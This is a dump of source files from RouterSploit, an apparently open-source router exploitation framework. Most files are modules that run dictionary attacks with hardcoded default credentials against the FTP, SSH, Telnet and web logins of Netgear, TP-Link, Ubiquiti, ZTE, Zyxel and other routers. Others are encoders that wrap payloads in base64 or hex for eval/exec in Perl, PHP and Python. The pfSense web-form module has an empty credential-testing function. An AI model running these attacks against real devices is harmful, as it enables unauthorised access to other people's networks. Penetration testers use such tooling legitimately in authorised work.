    "path": "routersploit/modules/creds/routers/netgear/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Netgear Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Netgear Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Netgear Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:1234,admin:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/netgear/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Netgear Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Netgear Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Netgear Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:1234,admin:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/netgear/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Netgear Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Netgear Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Netgear Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:1234,admin:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/netsys/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/netsys/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Netsys Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Netsys Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Netsys Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/netsys/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Netsys Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Netsys Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Netsys Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/netsys/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Netsys Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Netsys Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Netsys Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/pfsense/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/pfsense/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"PFSense Router SSH Creds\",\n        \"description\": \"Module performs dictionary attack against PFSense Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"PFSense Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target HTTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:pfsense\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/pfsense/webinterface_http_form_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"PFSense Router Default Web Interface Creds - HTTP Form\",\n        \"description\": \"Module performs dictionary attack against PFSense Router web interface. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"PFSense Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(443, \"Target Web Interface port\")\n    ssl = OptBool(True, \"SSL enabled: true/false\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:pfsense\", \"User:Pass or file with default credentials (file://)\")\n    stop_on_success = OptBool(False, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Displaye authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting default creds attack\")\n\n        self.run_threads(self.threads, self.target_function, self.defaults)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, data):\n        username, password = data.split(\":\", 1)\n\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\",\n        )\n        if response is None:\n            return False\n\n        if all([x in response.text for x in ['<script type=\"text/javascript\" src=\"/themes/pfsense_ng/javascript/niftyjsCode.js\"></script>', 'var csrfMagicToken =']]):\n            return True\n\n        return False\n\n    def check_default(self):\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/routers/technicolor/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/technicolor/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Technicolor Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Technicolor Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Technicolor Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password,admin:1234,Administrator:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/technicolor/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Technicolor Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Technicolor Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Technicolor Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password,admin:1234,Administrator:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/technicolor/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Technicolor Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Technicolor Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Technicolor Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password,admin:1234,Administrator:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/thomson/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/thomson/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Thomson Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Thomson Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Thomson Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/thomson/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Thomson Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Thomson Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Thomson Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/thomson/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Thomson Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Thomson Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Thomson Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/tplink/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/tplink/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"TP-Link Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against TP-Link Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"TP-Link Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/tplink/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"TP-Link Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against TP-Link Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"TP-Link Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/tplink/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"TP-Link Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against TP-Link Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"TP-Link Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/ubiquiti/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/ubiquiti/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Ubiquiti Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Ubiquiti Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Ubiquiti Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,root:ubnt,ubnt:ubnt\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/ubiquiti/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Ubiquiti Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Ubiquiti Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Ubiquiti Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,root:ubnt,ubnt:ubnt\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/ubiquiti/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Ubiquiti Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Ubiquiti Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Ubiquiti Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,root:ubnt,ubnt:ubnt\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/zte/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/zte/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"ZTE Router Default FTP Creds\",\n        \"description\": \"Module performs dictioanry attack against ZTE Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"ZTE Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,ZXDSL:ZXDSL,user:user,on:on,root:Zte521,root:W!n0&oO7.\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/zte/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"ZTE Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against ZTE Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"ZTE Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,ZXDSL:ZXDSL,user:user,on:on,root:Zte521,root:W!n0&oO7.\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/zte/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"ZTE Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against ZTE Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"ZTE Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,ZXDSL:ZXDSL,user:user,on:on,root:Zte521,root:W!n0&oO7.\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/zyxel/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/zyxel/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Zyxel Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Zyxel Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Zyxel Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:1234,admin:user,admin:Zyxel*2012*\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/zyxel/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Zyxel Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Zyxel Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Zyxel Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:1234,admin:user,admin:Zyxel*2012*\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/zyxel/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Zyxel Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Zyxel Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Zyxel Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:1234,admin:user,admin:Zyxel*2012*\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/encoders/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/encoders/perl/base64.py",
    "content": "from base64 import b64encode\nfrom routersploit.core.exploit.encoders import BaseEncoder\nfrom routersploit.core.exploit.payloads import Architectures\n\n\nclass Encoder(BaseEncoder):\n    __info__ = {\n        \"name\": \"Perl Base64 Encoder\",\n        \"description\": \"Module encodes PERL payload to Base64 format.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PERL\n\n    def encode(self, payload):\n        encoded_payload = str(b64encode(bytes(payload, \"utf-8\")), \"utf-8\")\n        return \"use MIME::Base64;eval(decode_base64('{}'));\".format(encoded_payload)\n"
  },
  {
    "path": "routersploit/modules/encoders/perl/hex.py",
    "content": "from routersploit.core.exploit.encoders import BaseEncoder\nfrom routersploit.core.exploit.payloads import Architectures\n\n\nclass Encoder(BaseEncoder):\n    __info__ = {\n        \"name\": \"Perl Hex Encoder\",\n        \"description\": \"Module encodes PERL payload to Hex format.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PERL\n\n    def encode(self, payload):\n        encoded_payload = bytes(payload, \"utf-8\").hex()\n        return \"eval(pack('H*','{}'));\".format(encoded_payload)\n"
  },
  {
    "path": "routersploit/modules/encoders/php/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/encoders/php/base64.py",
    "content": "from base64 import b64encode\nfrom routersploit.core.exploit.encoders import BaseEncoder\nfrom routersploit.core.exploit.payloads import Architectures\n\n\nclass Encoder(BaseEncoder):\n    __info__ = {\n        \"name\": \"PHP Base64 Encoder\",\n        \"description\": \"Module encodes PHP payload to Base64 format.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PHP\n\n    def encode(self, payload):\n        encoded_payload = str(b64encode(bytes(payload, \"utf-8\")), \"utf-8\")\n        return \"eval(base64_decode('{}'));\".format(encoded_payload)\n"
  },
  {
    "path": "routersploit/modules/encoders/php/hex.py",
    "content": "from binascii import hexlify\nfrom routersploit.core.exploit.encoders import BaseEncoder\nfrom routersploit.core.exploit.payloads import Architectures\n\n\nclass Encoder(BaseEncoder):\n    __info__ = {\n        \"name\": \"PHP Hex Encoder\",\n        \"description\": \"Module encodes PHP payload to Hex format.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PHP\n\n    def encode(self, payload):\n        encoded_payload = str(hexlify(bytes(payload, \"utf-8\")), \"utf-8\")\n        return \"eval(hex2bin('{}'));\".format(encoded_payload)\n"
  },
  {
    "path": "routersploit/modules/encoders/python/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/encoders/python/base64.py",
    "content": "from base64 import b64encode\nfrom routersploit.core.exploit.encoders import BaseEncoder\nfrom routersploit.core.exploit.payloads import Architectures\n\n\nclass Encoder(BaseEncoder):\n    __info__ = {\n        \"name\": \"Python Base64 Encoder\",\n        \"description\": \"Module encodes Python payload to Base64 format.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PYTHON\n\n    def encode(self, payload):\n        encoded_payload = str(b64encode(bytes(payload, \"utf-8\")), \"utf-8\")\n        return \"exec('{}'.decode('base64'))\".format(encoded_payload)\n"
  },
  {
    "path": "routersploit/modules/encoders/python/hex.py",
    "content": "from routersploit.core.exploit.encoders import BaseEncoder\nfrom routersploit.core.exploit.payloads import Architectures\n\n\nclass Encoder(BaseEncoder):\n    __info__ = {\n        \"name\": \"Python Hex Encoder\",\n        \"description\": \"Module encodes Python payload to Hex format.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PYTHON\n\n    def encode(self, payload):\n        encoded_payload = bytes(payload, \"utf-8\").hex()\n        return \"exec('{}'.decode('hex'))\".format(encoded_payload)\n"
  },
  {
    "path": "routersploit/modules/exploits/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/acti/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/acti/acm_5611_rce.py",
